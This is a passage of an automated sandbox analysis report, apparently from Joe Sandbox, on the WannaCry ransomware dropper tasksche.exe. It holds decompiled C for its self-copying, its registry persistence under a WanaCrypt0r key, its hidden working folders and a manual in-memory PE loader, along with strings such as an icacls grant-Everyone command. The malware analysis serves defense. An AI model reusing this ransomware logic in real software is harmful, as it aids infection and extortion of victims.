					_t63 = "tasksche.exe";
					CopyFileA(_t64 - 0x20c, _t63, _t42);
					if(GetFileAttributesA(_t63) == 0xffffffff || E00401F5D(__edi) == 0) {
						goto L4;
					} else {
						L13:
						return 0;
					}
				}
			}









                                                                                          0x00402040
                                                                                          0x00402054
                                                                                          0x0040208e
                                                                                          0x004020a3
                                                                                          0x004020b1
                                                                                          0x004020b3
                                                                                          0x004020bb
                                                                                          0x004020c3
                                                                                          0x004020c8
                                                                                          0x004020cf
                                                                                          0x004020d0
                                                                                          0x004020d5
                                                                                          0x004020e1
                                                                                          0x004020ed
                                                                                          0x004020f5
                                                                                          0x004020fa
                                                                                          0x004020fc
                                                                                          0x00402104
                                                                                          0x00402119
                                                                                          0x0040212a
                                                                                          0x00402134
                                                                                          0x0040214b
                                                                                          0x00402151
                                                                                          0x00402154
                                                                                          0x00402158
                                                                                          0x00402158
                                                                                          0x00402154
                                                                                          0x00402134
                                                                                          0x00402160
                                                                                          0x00402160
                                                                                          0x00000000
                                                                                          0x00402061
                                                                                          0x00402061
                                                                                          0x0040206f
                                                                                          0x0040207f
                                                                                          0x00000000
                                                                                          0x00402165
                                                                                          0x00402165
                                                                                          0x0040216b
                                                                                          0x0040216b
                                                                                          0x0040207f

                                                                                          APIs
                                                                                          • __p___argv.MSVCRT(0040F538), ref: 00402040
                                                                                          • strcmp.MSVCRT(?), ref: 0040204B
                                                                                          • CopyFileA.KERNEL32(?,tasksche.exe), ref: 0040206F
                                                                                          • GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076
                                                                                            • Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97
                                                                                          • strrchr.MSVCRT(?,0000005C,?,?,00000000), ref: 0040209D
                                                                                          • strrchr.MSVCRT(?,0000005C), ref: 004020AE
                                                                                          • SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB
                                                                                            • Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                                                                                            • Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                                                                            • Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                                                                            • Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$AttributesDirectorystrrchr$ByteCharCopyCurrentFullMultiNamePathWideWindows__p___argvstrcmpswprintf
                                                                                          • String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$t.wnry$tasksche.exe
                                                                                          • API String ID: 1074704982-2844324180
                                                                                          • Opcode ID: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                                                                                          • Instruction ID: 0f1cc1f94130967d107883c1ee7151828ebb686b55f89e1ef1b9593e139f0a32
                                                                                          • Opcode Fuzzy Hash: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                                                                                          • Instruction Fuzzy Hash: 25318172500319AEDB24B7B19E89E9F376C9F10319F20057FF645F65E2DE788D488A28
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100registrystringCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 58%
                                                                                          			E004010FD(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				void _v196;
				long _v216;
				void _v735;
				char _v736;
				signed int _t44;
				void* _t46;
				signed int _t55;
				signed int _t56;
				char* _t72;
				void* _t77;

				_t56 = 5;
				memcpy( &_v216, L"Software\\", _t56 << 2);
				_push(0x2d);
				_v736 = _v736 & 0;
				_v8 = _v8 & 0x00000000;
				memset( &_v735, memset( &_v196, 0, 0 << 2), 0x81 << 2);
				asm("stosw");
				asm("stosb");
				wcscat( &_v216, L"WanaCrypt0r");
				_v12 = _v12 & 0x00000000;
				_t72 = "wd";
				do {
					_push( &_v8);
					_push( &_v216);
					if(_v12 != 0) {
						_push(0x80000001);
					} else {
						_push(0x80000002);
					}
					RegCreateKeyW();
					if(_v8 != 0) {
						if(_a4 == 0) {
							_v16 = 0x207;
							_t44 = RegQueryValueExA(_v8, _t72, 0, 0,  &_v736,  &_v16);
							asm("sbb esi, esi");
							_t77 =  ~_t44 + 1;
							if(_t77 != 0) {
								SetCurrentDirectoryA( &_v736);
							}
						} else {
							GetCurrentDirectoryA(0x207,  &_v736);
							_t55 = RegSetValueExA(_v8, _t72, 0, 1,  &_v736, strlen( &_v736) + 1);
							asm("sbb esi, esi");
							_t77 =  ~_t55 + 1;
						}
						RegCloseKey(_v8);
						if(_t77 != 0) {
							_t46 = 1;
							return _t46;
						} else {
							goto L10;
						}
					}
					L10:
					_v12 = _v12 + 1;
				} while (_v12 < 2);
				return 0;
			}
















                                                                                          0x0040110f
                                                                                          0x00401116
                                                                                          0x00401118
                                                                                          0x0040111c
                                                                                          0x00401129
                                                                                          0x0040113a
                                                                                          0x0040113c
                                                                                          0x0040113e
                                                                                          0x0040114b
                                                                                          0x00401151
                                                                                          0x00401157
                                                                                          0x0040115c
                                                                                          0x00401164
                                                                                          0x0040116b
                                                                                          0x0040116c
                                                                                          0x00401175
                                                                                          0x0040116e
                                                                                          0x0040116e
                                                                                          0x0040116e
                                                                                          0x0040117a
                                                                                          0x00401183
                                                                                          0x0040118c
                                                                                          0x004011cf
                                                                                          0x004011e4
                                                                                          0x004011ee
                                                                                          0x004011f0
                                                                                          0x004011f1
                                                                                          0x004011fa
                                                                                          0x004011fa
                                                                                          0x0040118e
                                                                                          0x0040119a
                                                                                          0x004011bd
                                                                                          0x004011c7
                                                                                          0x004011c9
                                                                                          0x004011c9
                                                                                          0x00401203
                                                                                          0x0040120b
                                                                                          0x00401222
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x0040120b
                                                                                          0x0040120d
                                                                                          0x0040120d
                                                                                          0x00401210
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • wcscat.MSVCRT(?,WanaCrypt0r,?,0000DDB6), ref: 0040114B
                                                                                          • RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
                                                                                          • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
                                                                                          • strlen.MSVCRT(?), ref: 004011A7
                                                                                          • RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
                                                                                          • RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
                                                                                          • SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
                                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 00401203
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
                                                                                          • String ID: 0@$Software\$WanaCrypt0r
                                                                                          • API String ID: 865909632-3421300005
                                                                                          • Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                                                                          • Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
                                                                                          • Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                                                                          • Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401B5F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 81%
                                                                                          			E00401B5F(intOrPtr _a4) {
				void _v202;
				short _v204;
				void _v722;
				long _v724;
				signed short _v1240;
				void _v1242;
				long _v1244;
				void* _t55;
				signed int _t65;
				void* _t72;
				long _t83;
				void* _t94;
				void* _t98;

				_t83 =  *0x40f874; // 0x0
				_v1244 = _t83;
				memset( &_v1242, 0, 0x81 << 2);
				asm("stosw");
				_v724 = _t83;
				memset( &_v722, 0, 0x81 << 2);
				asm("stosw");
				_push(0x31);
				_v204 = _t83;
				memset( &_v202, 0, 0 << 2);
				asm("stosw");
				MultiByteToWideChar(0, 0, 0x40f8ac, 0xffffffff,  &_v204, 0x63);
				GetWindowsDirectoryW( &_v1244, 0x104);
				_v1240 = _v1240 & 0x00000000;
				swprintf( &_v724, L"%s\\ProgramData",  &_v1244);
				_t98 = _t94 + 0x30;
				if(GetFileAttributesW( &_v724) == 0xffffffff) {
					L3:
					swprintf( &_v724, L"%s\\Intel",  &_v1244);
					if(E00401AF6( &_v724,  &_v204, _a4) != 0 || E00401AF6( &_v1244,  &_v204, _a4) != 0) {
						L2:
						_t55 = 1;
						return _t55;
					} else {
						GetTempPathW(0x104,  &_v724);
						if(wcsrchr( &_v724, 0x5c) != 0) {
							 *(wcsrchr( &_v724, 0x5c)) =  *_t69 & 0x00000000;
						}
						_t65 = E00401AF6( &_v724,  &_v204, _a4);
						asm("sbb eax, eax");
						return  ~( ~_t65);
					}
				}
				_t72 = E00401AF6( &_v724,  &_v204, _a4);
				_t98 = _t98 + 0xc;
				if(_t72 == 0) {
					goto L3;
				}
				goto L2;
			}
















                                                                                          0x00401b68
                                                                                          0x00401b80
                                                                                          0x00401b87
                                                                                          0x00401b89
                                                                                          0x00401b95
                                                                                          0x00401b9c
                                                                                          0x00401b9e
                                                                                          0x00401ba0
                                                                                          0x00401bab
                                                                                          0x00401bb4
                                                                                          0x00401bb6
                                                                                          0x00401bca
                                                                                          0x00401bdd
                                                                                          0x00401be9
                                                                                          0x00401c04
                                                                                          0x00401c06
                                                                                          0x00401c19
                                                                                          0x00401c40
                                                                                          0x00401c53
                                                                                          0x00401c70
                                                                                          0x00401c38
                                                                                          0x00401c3a
                                                                                          0x00000000
                                                                                          0x00401c8f
                                                                                          0x00401c97
                                                                                          0x00401cb2
                                                                                          0x00401cbf
                                                                                          0x00401cc4
                                                                                          0x00401cd6
                                                                                          0x00401ce0
                                                                                          0x00000000
                                                                                          0x00401ce2
                                                                                          0x00401c70
                                                                                          0x00401c2c
                                                                                          0x00401c31
                                                                                          0x00401c36
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                                                                                          • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                                                                          • swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                                                                          • swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
                                                                                          • GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
                                                                                          • wcsrchr.MSVCRT(?,0000005C), ref: 00401CAC
                                                                                          • wcsrchr.MSVCRT(?,0000005C), ref: 00401CBD
                                                                                            • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                                                                            • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                                                                            • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                                                                            • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
                                                                                          • String ID: %s\Intel$%s\ProgramData
                                                                                          • API String ID: 3806094219-198707228
                                                                                          • Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                                                                          • Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
                                                                                          • Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                                                                          • Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004021E9 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 233memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 64%
                                                                                          			E004021E9(void* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32) {
				signed int _v8;
				intOrPtr _v40;
				char _v44;
				void* _t82;
				struct HINSTANCE__* _t83;
				intOrPtr* _t84;
				intOrPtr _t89;
				void* _t91;
				void* _t104;
				void _t107;
				intOrPtr _t116;
				intOrPtr _t124;
				signed int _t125;
				signed char _t126;
				intOrPtr _t127;
				signed int _t134;
				intOrPtr* _t145;
				signed int _t146;
				intOrPtr* _t151;
				intOrPtr _t152;
				short* _t153;
				signed int _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_v8 = _v8 & 0x00000000;
				_t3 =  &_a8; // 0x40213f
				if(E00402457( *_t3, 0x40) == 0) {
					L37:
					return 0;
				}
				_t153 = _a4;
				if( *_t153 == 0x5a4d) {
					if(E00402457(_a8,  *((intOrPtr*)(_t153 + 0x3c)) + 0xf8) == 0) {
						goto L37;
					}
					_t151 =  *((intOrPtr*)(_t153 + 0x3c)) + _t153;
					if( *_t151 != 0x4550 ||  *((short*)(_t151 + 4)) != 0x14c) {
						goto L2;
					} else {
						_t9 = _t151 + 0x38; // 0x68004021
						_t126 =  *_t9;
						if((_t126 & 0x00000001) != 0) {
							goto L2;
						}
						_t12 = _t151 + 0x14; // 0x4080e415
						_t13 = _t151 + 6; // 0x4080e0
						_t146 =  *_t13 & 0x0000ffff;
						_t82 = ( *_t12 & 0x0000ffff) + _t151 + 0x18;
						if(_t146 <= 0) {
							L16:
							_t83 = GetModuleHandleA("kernel32.dll");
							if(_t83 == 0) {
								goto L37;
							}
							_t84 = _a24(_t83, "GetNativeSystemInfo", 0);
							_t159 = _t158 + 0xc;
							if(_t84 == 0) {
								goto L37;
							}
							 *_t84( &_v44);
							_t86 = _v40;
							_t23 = _t151 + 0x50; // 0xec8b55c3
							_t25 = _t86 - 1; // 0xec8b55c2
							_t27 = _t86 - 1; // -1
							_t134 =  !_t27;
							_t155 =  *_t23 + _t25 & _t134;
							if(_t155 != (_v40 + _v8 - 0x00000001 & _t134)) {
								goto L2;
							}
							_t31 = _t151 + 0x34; // 0x85680040
							_t89 = _a12( *_t31, _t155, 0x3000, 4, _a32);
							_t127 = _t89;
							_t160 = _t159 + 0x14;
							if(_t127 != 0) {
								L21:
								_t91 = HeapAlloc(GetProcessHeap(), 8, 0x3c);
								_t156 = _t91;
								if(_t156 != 0) {
									 *((intOrPtr*)(_t156 + 4)) = _t127;
									_t38 = _t151 + 0x16; // 0xc3004080
									 *(_t156 + 0x14) =  *_t38 >> 0x0000000d & 0x00000001;
									 *((intOrPtr*)(_t156 + 0x1c)) = _a12;
									 *((intOrPtr*)(_t156 + 0x20)) = _a16;
									 *((intOrPtr*)(_t156 + 0x24)) = _a20;
									 *((intOrPtr*)(_t156 + 0x28)) = _a24;
									 *((intOrPtr*)(_t156 + 0x2c)) = _a28;
									 *((intOrPtr*)(_t156 + 0x30)) = _a32;
									 *((intOrPtr*)(_t156 + 0x38)) = _v40;
									_t54 = _t151 + 0x54; // 0x8328ec83
									if(E00402457(_a8,  *_t54) == 0) {
										L36:
										E004029CC(_t156);
										goto L37;
									}
									_t57 = _t151 + 0x54; // 0x8328ec83
									_t104 = _a12(_t127,  *_t57, 0x1000, 4, _a32);
									_t59 = _t151 + 0x54; // 0x8328ec83
									_a32 = _t104;
									memcpy(_t104, _a4,  *_t59);
									_t107 =  *((intOrPtr*)(_a4 + 0x3c)) + _a32;
									 *_t156 = _t107;
									 *((intOrPtr*)(_t107 + 0x34)) = _t127;
									if(E00402470(_a4, _a8, _t151, _t156) == 0) {
										goto L36;
									}
									_t68 = _t151 + 0x34; // 0x85680040
									_t111 =  *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68;
									if( *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68) {
										_t152 = 1;
										 *((intOrPtr*)(_t156 + 0x18)) = _t152;
									} else {
										 *((intOrPtr*)(_t156 + 0x18)) = E00402758(_t156, _t111);
										_t152 = 1;
									}
									if(E004027DF(_t156) != 0 && E0040254B(_t156) != 0 && E0040271D(_t156) != 0) {
										_t116 =  *((intOrPtr*)( *_t156 + 0x28));
										if(_t116 == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = 0;
											L41:
											return _t156;
										}
										if( *(_t156 + 0x14) == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = _t116 + _t127;
											goto L41;
										}
										_push(0);
										_push(_t152);
										_push(_t127);
										if( *((intOrPtr*)(_t116 + _t127))() != 0) {
											 *((intOrPtr*)(_t156 + 0x10)) = _t152;
											goto L41;
										}
										SetLastError(0x45a);
									}
									goto L36;
								}
								_a16(_t127, _t91, 0x8000, _a32);
								L23:
								SetLastError(0xe);
								L3:
								goto L37;
							}
							_t127 = _a12(_t89, _t155, 0x3000, 4, _a32);
							_t160 = _t160 + 0x14;
							if(_t127 == 0) {
								goto L23;
							}
							goto L21;
						}
						_t145 = _t82 + 0xc;
						do {
							_t157 =  *((intOrPtr*)(_t145 + 4));
							_t124 =  *_t145;
							if(_t157 != 0) {
								_t125 = _t124 + _t157;
							} else {
								_t125 = _t124 + _t126;
							}
							if(_t125 > _v8) {
								_v8 = _t125;
							}
							_t145 = _t145 + 0x28;
							_t146 = _t146 - 1;
						} while (_t146 != 0);
						goto L16;
					}
				}
				L2:
				SetLastError(0xc1);
				goto L3;
			}






























                                                                                          0x004021ef
                                                                                          0x004021f8
                                                                                          0x00402204
                                                                                          0x0040243d
                                                                                          0x00000000
                                                                                          0x0040243d
                                                                                          0x0040220a
                                                                                          0x00402212
                                                                                          0x00402239
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402242
                                                                                          0x0040224a
                                                                                          0x00000000
                                                                                          0x00402254
                                                                                          0x00402254
                                                                                          0x00402254
                                                                                          0x0040225a
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x0040225c
                                                                                          0x00402260
                                                                                          0x00402260
                                                                                          0x00402266
                                                                                          0x0040226a
                                                                                          0x0040228c
                                                                                          0x00402291
                                                                                          0x00402299
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004022a7
                                                                                          0x004022aa
                                                                                          0x004022af
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004022b9
                                                                                          0x004022bb
                                                                                          0x004022be
                                                                                          0x004022c1
                                                                                          0x004022c8
                                                                                          0x004022cb
                                                                                          0x004022d1
                                                                                          0x004022d7
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004022e8
                                                                                          0x004022eb
                                                                                          0x004022ee
                                                                                          0x004022f0
                                                                                          0x004022f5
                                                                                          0x0040230f
                                                                                          0x0040231a
                                                                                          0x00402320
                                                                                          0x00402324
                                                                                          0x0040233d
                                                                                          0x00402340
                                                                                          0x0040234a
                                                                                          0x00402350
                                                                                          0x00402356
                                                                                          0x0040235c
                                                                                          0x00402362
                                                                                          0x00402368
                                                                                          0x0040236e
                                                                                          0x00402374
                                                                                          0x00402377
                                                                                          0x00402386
                                                                                          0x00402436
                                                                                          0x00402437
                                                                                          0x00000000
                                                                                          0x0040243c
                                                                                          0x00402396
                                                                                          0x0040239a
                                                                                          0x0040239d
                                                                                          0x004023a0
                                                                                          0x004023a7
                                                                                          0x004023ba
                                                                                          0x004023bc
                                                                                          0x004023bf
                                                                                          0x004023cc
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004023d3
                                                                                          0x004023d3
                                                                                          0x004023d6
                                                                                          0x004023eb
                                                                                          0x004023ec
                                                                                          0x004023d8
                                                                                          0x004023e0
                                                                                          0x004023e6
                                                                                          0x004023e6
                                                                                          0x004023f8
                                                                                          0x00402414
                                                                                          0x00402419
                                                                                          0x0040244d
                                                                                          0x00402450
                                                                                          0x00000000
                                                                                          0x00402450
                                                                                          0x0040241e
                                                                                          0x00402448
                                                                                          0x00000000
                                                                                          0x00402448
                                                                                          0x00402420
                                                                                          0x00402421
                                                                                          0x00402424
                                                                                          0x00402429
                                                                                          0x00402441
                                                                                          0x00000000
                                                                                          0x00402441
                                                                                          0x00402430
                                                                                          0x00402430
                                                                                          0x00000000
                                                                                          0x004023f8
                                                                                          0x00402330
                                                                                          0x00402336
                                                                                          0x00402219
                                                                                          0x00402219
                                                                                          0x00000000
                                                                                          0x00402219
                                                                                          0x00402306
                                                                                          0x00402308
                                                                                          0x0040230d
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x0040230d
                                                                                          0x0040226c
                                                                                          0x0040226f
                                                                                          0x0040226f
                                                                                          0x00402272
                                                                                          0x00402276
                                                                                          0x0040227c
                                                                                          0x00402278
                                                                                          0x00402278
                                                                                          0x00402278
                                                                                          0x00402281
                                                                                          0x00402283
                                                                                          0x00402283
                                                                                          0x00402286
                                                                                          0x00402289
                                                                                          0x00402289
                                                                                          0x00000000
                                                                                          0x0040226f
                                                                                          0x0040224a
                                                                                          0x00402214
                                                                                          0x00402219
                                                                                          0x00000000

                                                                                          APIs
                                                                                            • Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463
                                                                                          • SetLastError.KERNEL32(000000C1,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
                                                                                          • GetProcessHeap.KERNEL32(00000008,0000003C,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2), ref: 00402313
                                                                                          • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 0040231A
                                                                                          • memcpy.MSVCRT(00000000,?,8328EC83,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3), ref: 004023A7
                                                                                            • Part of subcall function 00402470: memset.MSVCRT(?,00000000,?), ref: 004024D5
                                                                                          • SetLastError.KERNEL32(0000045A), ref: 00402430
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$Heap$AllocHandleModuleProcessmemcpymemset
                                                                                          • String ID: ?!@$GetNativeSystemInfo$kernel32.dll
                                                                                          • API String ID: 1900561814-3657104962
                                                                                          • Opcode ID: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                                                                                          • Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
                                                                                          • Opcode Fuzzy Hash: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                                                                                          • Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 91%
                                                                                          			E00401AF6(WCHAR* _a4, WCHAR* _a8, wchar_t* _a12) {
				void* _t15;
				WCHAR* _t17;

				CreateDirectoryW(_a4, 0);
				if(SetCurrentDirectoryW(_a4) == 0) {
					L2:
					return 0;
				}
				_t17 = _a8;
				CreateDirectoryW(_t17, 0);
				if(SetCurrentDirectoryW(_t17) != 0) {
					SetFileAttributesW(_t17, GetFileAttributesW(_t17) | 0x00000006);
					if(_a12 != 0) {
						_push(_t17);
						swprintf(_a12, L"%s\\%s", _a4);
					}
					_t15 = 1;
					return _t15;
				}
				goto L2;
			}





                                                                                          0x00401b07
                                                                                          0x00401b16
                                                                                          0x00401b27
                                                                                          0x00000000
                                                                                          0x00401b27
                                                                                          0x00401b18
                                                                                          0x00401b1e
                                                                                          0x00401b25
                                                                                          0x00401b36
                                                                                          0x00401b40
                                                                                          0x00401b42
                                                                                          0x00401b4e
                                                                                          0x00401b54
                                                                                          0x00401b59
                                                                                          0x00000000
                                                                                          0x00401b59
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00401B2C
                                                                                          • SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
                                                                                          • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Directory$AttributesCreateCurrentFile$swprintf
                                                                                          • String ID: %s\%s
                                                                                          • API String ID: 1036847564-4073750446
                                                                                          • Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                                                                          • Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
                                                                                          • Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
